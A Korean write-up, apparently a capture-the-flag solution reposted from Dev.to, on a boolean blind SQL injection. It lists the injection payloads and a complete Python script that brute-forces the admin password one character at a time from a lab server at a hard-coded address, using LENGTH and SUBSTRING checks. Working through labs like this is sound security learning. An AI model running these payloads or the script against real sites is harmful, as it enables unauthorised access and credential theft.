간단한 블라인드 SQL 인젝션
발행: (2025년 12월 31일 오전 03:10 GMT+9)
3 min read
원문: Dev.to
Source: Dev.to

취약점 분석
웹 사이트는 HTTP GET을 통해 uid 매개변수를 받습니다.
Payload 1
admin' AND 1=1 --
결과:

Payload 2
admin' AND 1=2 --
결과:

→ "exists"를 반환하지 않습니다.
결론
백엔드에서는 다음과 같은 형태의 SQL 쿼리를 사용합니다:
SELECT * FROM users WHERE uid = '$uid';
→ 이는 Blind SQL Injection의 boolean 형태입니다.
공격 전략
LENGTH(upw)를 사용해 비밀번호 길이를 확인합니다.SUBSTRING(upw, position, 1)을 사용해 각 문자를 추출합니다.- 알려진 문자 집합(
[a-z0-9_])과 비교합니다. - 응답 문자열
"exists"를 기반으로 조건이 참인지 판단합니다.
상세 공격
3.1. 비밀번호 길이 확인
예시 페이로드:
admin' AND LENGTH(upw)=N --
N을 증가시키며 서버가 "exists"를 반환할 때까지 시도합니다.
3.2. 비밀번호 각 문자 추출
i 위치에 대한 페이로드:
admin' AND SUBSTRING(upw,i,1)='c' --
각 위치마다 전체 문자 집합 [a-z0-9_]을 순회합니다.
익스플로잇 스크립트
import requests
import string
URL = "http://103.97.125.56:30536/"
TRUE_TEXT = "exists"
charset = string.ascii_lowercase + string.digits + "_"
def is_true(payload):
params = {"uid": payload}
r = requests.get(URL, params=params, timeout=5)
return TRUE_TEXT in r.text
def get_length(max_len=50):
print("[*] Đang xác định độ dài mật khẩu...")
for length in range(1, max_len + 1):
payload = f"admin' AND LENGTH(upw)={length} -- "
if is_true(payload):
print(f"[+] Độ dài mật khẩu là: {length}")
return length
raise Exception("Không xác định được độ dài mật khẩu")
def dump_password(length):
password = ""
print("[*] Đang trích xuất mật khẩu...")
for i in range(1, length + 1):
for c in charset:
payload = f"admin' AND SUBSTRING(upw,{i},1)='{c}' -- "
if is_true(payload):
password += c
print(f"[+] Tìm được ký tự thứ {i}: {c}")
break
else:
raise Exception(f"Không tìm được ký tự tại vị trí {i}")
return password
if __name__ == "__main__":
length = get_length()
password = dump_password(length)
print("\n[✓] Mật khẩu admin:", password)
얻은 결과

비밀번호를 얻은 후 로그인합니다:

얻은 플래그:
